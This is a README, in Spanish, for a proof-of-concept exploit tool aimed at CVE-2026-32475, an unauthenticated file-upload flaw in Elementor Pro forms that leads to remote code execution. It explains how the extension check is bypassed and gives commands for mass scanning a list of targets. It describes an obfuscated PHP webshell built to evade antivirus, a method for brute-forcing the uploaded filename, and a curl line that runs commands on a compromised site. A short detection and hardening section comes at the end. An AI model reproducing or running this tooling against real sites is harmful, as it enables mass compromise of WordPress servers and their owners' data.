
Prueba de concepto de exploit para CVE-2026-32475, una subida arbitraria de archivos sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye escaneo masivo, confirmación de nombre de archivo por fuerza bruta y un webshell ofuscado integrado para pruebas autorizadas.
Subida Arbitraria de Archivos Pre-Autenticación en Elementor Pro que Conduce a Ejecución Remota de Código
Prueba de concepto para CVE-2026-32475, una subida arbitraria de archivos no autenticada crítica en el módulo de Formularios de Elementor Pro que termina en ejecución remota de código. El PoC envía dos partes de archivo para el mismo campo de subida: una primera entrada vacía (nombre de archivo en blanco, que activa UPLOAD_ERR_NO_FILE) seguida del payload. El bucle validation() sale temprano en la entrada vacía mediante return, mientras que process_field() la omite mediante continue, por lo que el payload nunca pasa por la verificación de extensión y termina en un directorio público con extensión .php. Los PoCs que prueban el comportamiento corregido, la misma solicitud después del parche, deben ser rechazados por la verificación de extensión.
Nota: Este PoC es solo para pruebas de seguridad autorizadas e investigación. CVE-2026-32475 está siendo explotado activamente en la naturaleza, y Wordfence ha bloqueado más de 190,000 intentos desde la divulgación del 19 de agosto. Usted es responsable de cumplir con todas las leyes aplicables y de obtener autorización por escrito antes de probar cualquier sistema.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsInstalar dependencias:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell sube un webshell PHP ofuscado mínimo (palabras clave construidas en tiempo de ejecución mediante
chr()/implode/strrev, parámetro de comando vapcom) para que las firmas estáticas simples y los
escaneos AV en tiempo real en disco no lo marquen. El nombre de archivo almacenado sigue siendo aleatorio
(<uniqid()>.php); combínelo con --brute, que sondea ?vapcom=echo <marcador> e informa
exec confirmed: <nombre>.php. Uso manual una vez localizado:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Argumento | Descripción | Predeterminado |
|---|---|---|
-t, --target | URL del objetivo único | - |
-T, --targets | Archivo con URLs de objetivos, uno por línea | - |
-o, --output | Archivo de resultados (CSV: objetivo, estado, form_id, post_id, campo, nota) | - |
--timeout | Tiempo de espera de la solicitud en segundos | 15 |
--post-id | Sobrescribir post_id detectado | auto |
--form-id | Sobrescribir form_id detectado (id del widget de Elementor) | auto |
--field | Sobrescribir custom_id del campo de subida detectado | auto |
--payload | Ruta a un archivo de payload personalizado (predeterminado: archivo de token PHP benigno) | token benigno |
--shell | Subir el webshell PHP ofuscado integrado (<?php ... system($_GET) ?> construido en tiempo de ejecución, parámetro vapcom) en lugar del token | off |
--brute | Después de una subida exitosa, forzar por fuerza bruta el nombre de archivo uniqid() para confirmar la ejecución de código | off |
--seconds-window | Segundos antes/después del encabezado Date del servidor para fuerza bruta | 5 |
[*] Probando http://localhost/wplab/?page_id=6 ...
[+] Formulario encontrado: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] resultado: vulnerable - subida aceptada
respuesta : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
subido a : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] EJECUCIÓN CONFIRMADA: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] hecho: 1/1 vulnerable
Un success:true en la respuesta AJAX significa que el payload fue aceptado sin pasar por la verificación de extensión. El paso 4 con --brute (un 200 en el archivo .php adivinado que contiene el marcador) confirma la ejecución de PHP en el servidor — es decir, RCE completo.
Estados de resultado: vulnerable | patched | unknown | error
vulnerable — el servidor web devolvió "success":true; el payload omitió la verificación de extensiónpatched — la subida fue rechazada con un error de tipo de archivo (la verificación de extensión se ejecutó)unknown — HTTP tuvo éxito pero la respuesta no fue success:true (IDs incorrectos o estado inesperado)error — fallo de solicitud/análisis (tiempo de espera agotado, no-200, formulario no encontrado)<uniqid()>.<extensión_del_atacante> — el nombre base enviado se descarta, por lo que los trucos de doble extensión/byte nulo son irrelevantes; solo importa la verificación de extensión, y es lo que se rompe..htaccess en wp-content/uploads/elementor/forms/ que establece Content-Disposition: attachment en todos los archivos. Esto no detiene la ejecución — PHP aún se ejecuta en el servidor y la respuesta descargada es la salida ejecutada. Para mostrar un shell en el navegador en un laboratorio, desactive ese .htaccess; en el mundo real trátelo solo como cosmético y confíe en el bloqueo de PHP a nivel de servidor.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), por lo que el nombre se deriva del tiempo (segundos Unix, 32 bits bajos, + microsegundos). El paso de fuerza bruta delimita el segundo observado en el encabezado Date de la respuesta de envío y, para archivos .php, solicita ?vapcom=echo <marcador> (o ?c= para el archivo token/--payload) de modo que una respuesta con marcador sea ejecución real de PHP en el servidor, no solo una lectura de archivo. El peor caso es ~1M de adivinanzas de microsegundos por segundo, así que ajuste --seconds-window para mantener las ejecuciones cortas.# Archivos PHP que no deberían existir en el directorio de subidas
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta bajo el directorio de formularios como evidencia de compromiso.GET bajo /wp-content/uploads/elementor/forms/ y POST que contengan elementor_pro_forms_send_form.mu-plugins, archivos de núcleo/tema modificados y eventos WP-Cron inesperados; prefiera restaurar una copia de seguridad conocida en buen estado en lugar de limpiar en el lugar.location de nginx o <FilesMatch> de Apache). Esta es la solución duradera y degrada esta y futuras vulnerabilidades de subida a "desperdicio de disco".elementor_pro_forms_send_form.